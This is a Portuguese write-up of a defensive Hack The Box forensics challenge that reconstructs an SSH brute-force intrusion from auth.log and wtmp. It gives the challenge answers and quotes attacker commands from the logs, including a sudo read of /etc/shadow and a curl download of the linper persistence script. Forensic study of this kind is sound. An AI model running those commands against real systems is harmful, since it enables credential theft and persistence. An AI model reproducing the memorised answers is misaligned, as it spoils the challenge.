Brutus - HTB Very Easy Sherlock - Português Brasil
About
Neste Sherlock, vamos nos familiarizar com os logs auth.log e wtmp do Unix. O cenário proposto envolve um servidor Confluence que sofreu um ataque de força bruta em seu serviço SSH. Após obter acesso, o invasor realizou outras atividades que podem ser rastreadas pelo auth.log.
Embora o auth.log seja frequentemente usado para analisar ataques de força bruta, exploraremos todo o seu potencial nesta investigação, cobrindo também a detecção de escalonamento de privilégios, técnicas de persistência e até mesmo a visibilidade da execução de comandos.
Investigation
Este Sherlock nos pede para responder a algumas perguntas com base na análise de um arquivo .zip. Aparentemente, há três arquivos dentro do pacote.
└─ $ unzip -l Brutus.zip
Archive: Brutus.zip
Length Date Time Name
--------- ---------- ----- ----
43911 2024-03-06 11:47 auth.log
11136 2024-03-06 11:47 wtmp
3154 2025-04-30 05:51 utmp.py
--------- -------
58201 3 files
Ao tentar usar o unzip para extrair os arquivos, encontrei o erro unsupported compression method 99. Utilizando o 7z, no entanto, a extração foi bem-sucedida.
┌── ➤ brutus
└─ $ 7z x Brutus.zip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=en_US.UTF-8 Threads:16 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 5756 bytes (6 KiB)
Extracting archive: Brutus.zip
--
Path = Brutus.zip
Type = zip
Physical Size = 5756
Enter password:hacktheblue
Everything is Ok
Files: 3
Size: 58201
Compressed: 5756
Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?
Para responder a esta pergunta, basta analisar o arquivo auth.log. A partir da linha 68, é visível uma série de tentativas de autenticação no host 172.31.35.28, todas originadas do IP 65.2.161.68.
Este log tem cerca de 400 linhas, o que permite uma análise visual rápida. Mas como faríamos se o log tivesse milhares de linhas? Para escalar a análise, podemos usar um comando para extrair e contar as ocorrências de IPs de origem.
O comando abaixo utiliza grep com uma expressão regular para encontrar todas as linhas que contêm um endereço IPv4 após a string from , e em seguida, conta as ocorrências únicas. O resultado confirma que o IP 65.2.161.68 realizou 118 tentativas de login.
└─ $ grep -oE 'from ((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' auth.log | sort | uniq -c | sort -nr
118 from 65.2.161.68
1 from 203.101.190.9
The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?
Sabendo o IP do atacante, podemos filtrar o log por conexões aceitas (Accepted) para descobrir qual conta foi comprometida. O resultado mostra que o invasor obteve acesso como usuário root, além de um acesso posterior com a conta cyberjunkie.
└─ $ cat auth.log | grep Accepted
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.
A pergunta instrui a analisar o arquivo wtmp. Para isso, utilizei o utmpdump, uma ferramenta que converte o conteúdo binário de arquivos wtmp/utmp para um formato legível.
Tip
wtmp: Arquivo de registros de login do sistema, que armazena informações sobre todos os acessos de usuários.
utmpdump: É particularmente útil para inspecionar esses arquivos binários em um formato de texto legível. Ele pode ser usado para verificar atividades de login, identificar acessos não autorizados ou para fins de auditoria.
┌── ➤ brutus
└─ $ utmpdump wtmp
Utmp dump of wtmp
[2] [00000] [~~ ] [reboot ] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:17,804944+00:00]
[5] [00601] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,072401+00:00]
[6] [00601] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,072401+00:00]
[5] [00618] [tty1] [ ] [tty1 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,080342+00:00]
[6] [00618] [tty1] [LOGIN ] [tty1 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,080342+00:00]
[1] [00053] [~~ ] [runlevel] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:33,792454+00:00]
[7] [01284] [ts/0] [ubuntu ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-01-25T11:13:58,354674+00:00]
[8] [01284] [ ] [ ] [pts/0 ] [ ] [0.0.0.0 ] [2024-01-25T11:15:12,956114+00:00]
[7] [01483] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-01-25T11:15:40,806926+00:00]
[8] [01404] [ ] [ ] [pts/0 ] [ ] [0.0.0.0 ] [2024-01-25T12:34:34,949753+00:00]
[7] [836798] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:33:49,408334+00:00]
[5] [838568] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-02-11T10:39:02,172417+00:00]
[6] [838568] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-02-11T10:39:02,172417+00:00]
[7] [838962] [ts/1] [root ] [pts/1 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:41:11,700107+00:00]
[8] [838896] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-02-11T10:41:46,272984+00:00]
[7] [842171] [ts/1] [root ] [pts/1 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:54:27,775434+00:00]
[8] [842073] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-02-11T11:08:04,769514+00:00]
[8] [836694] [ ] [ ] [pts/0 ] [ ] [0.0.0.0 ] [2024-02-11T11:08:04,769963+00:00]
[1] [00000] [~~ ] [shutdown] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-02-11T11:09:18,000731+00:00]
[2] [00000] [~~ ] [reboot ] [~ ] [6.2.0-1018-aws ] [0.0.0.0 ] [2024-03-06T06:17:15,744575+00:00]
[5] [00464] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,354378+00:00]
[6] [00464] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,354378+00:00]
[5] [00505] [tty1] [ ] [tty1 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,469940+00:00]
[6] [00505] [tty1] [LOGIN ] [tty1 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,469940+00:00]
[1] [00053] [~~ ] [runlevel] [~ ] [6.2.0-1018-aws ] [0.0.0.0 ] [2024-03-06T06:17:29,538024+00:00]
[7] [01583] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-03-06T06:19:55,151913+00:00]
[7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:32:45,387923+00:00]
[8] [02491] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-03-06T06:37:24,590579+00:00]
[7] [02667] [ts/1] [cyberjunkie] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:37:35,475575+00:00]
A linha que mostra o acesso do IP do atacante indica que o login manual ocorreu no timestamp 2024-03-06 06:32:45.
[7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:32:45,387923+00:00]
SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?
Analisando o auth.log em mais detalhe, vemos que, logo após a autenticação bem-sucedida do usuário root a partir do IP do atacante, uma nova sessão é aberta e registrada pelo systemd-logind. O número atribuído a essa sessão foi 37.
Tip
O session number é, essencialmente, o PID (Process ID) do processo que gerencia a sessão de login. Para sessões SSH, isso geralmente se refere ao PID do processo sshd que lida com aquela conexão específica.
....SNIP....
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
....SNIP....
The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
Para criar um novo usuário, o atacante provavelmente utilizou o comando useradd. Filtrando o auth.log por essa string, encontramos a linha exata que registra a criação do novo usuário: cyberjunkie.
└─ $ cat auth.log | grep useradd
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?
O framework MITRE ATT&CK cataloga táticas, técnicas e procedimentos (TTPs) usados por adversários. A técnica de persistência que envolve a criação de uma nova conta, como a do usuário cyberjunkie, está descrita na plataforma.
Como a pergunta solicita o ID da sub-técnica e sabemos que a conta foi criada com o comando padrão useradd, trata-se de uma "Local Account". Isso corresponde ao ID T1136.001.
What time did the attacker's first SSH session end according to auth.log?
Consultando a documentação (man) sobre o formato do wtmp, percebemos que o código [8] (DEAD_PROCESS) no início de uma linha indica o término de um processo. Como o arquivo wtmp registra logins e logouts, a primeira entrada do tipo [8] após o login bem-sucedido do atacante corresponde ao seu logout.
Note
Significado de cada código do utmpdump (resumido):
define EMPTY 0 /* Registro inválido /
define RUN_LVL 1 / Mudança no run-level do sistema /
define BOOT_TIME 2 / Horário do boot do sistema /
define NEW_TIME 3 / Horário após mudança do relógio /
define OLD_TIME 4 / Horário antes da mudança do relógio /
define INIT_PROCESS 5 / Processo gerado pelo init /
define LOGIN_PROCESS 6 / Processo líder da sessão de login /
define USER_PROCESS 7 / Processo normal (início de sessão) /
define DEAD_PROCESS 8 / Processo terminado (fim de sessão) /
define ACCOUNTING 9 / Não implementado */
No trecho do output abaixo, vemos que a sessão do atacante iniciada às 06:32:45 (tipo [7]) foi encerrada às 2024-03-06 06:37:24 (tipo [8]).
┌── ➤ brutus
└─ $ utmpdump wtmp
Utmp dump of wtmp
[2] [00000] [~~ ] [reboot ] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:17,804944+00:00]
...SNIP...
[7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:32:45,387923+00:00]
[8] [02491] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-03-06T06:37:24,590579+00:00]
...SNIP...
The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
Filtrando o auth.log por sudo, podemos analisar os comandos executados com privilégios elevados. A análise revela que o usuário cyberjunkie (a conta de backdoor) executou o seguinte comando para baixar um script: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh.
└─ $ cat auth.log | grep sudo
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar 6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Notas
Se você gostou deste writeup, envie um respect no meu perfil do Hack The Box. Eu ficaria muito feliz em saber que pude ajudar.
Se algo não ficou claro, recomendo consultar a seção cookbook. Caso não encontre a resposta ou precise de mais esclarecimentos, entre em contato pelo email.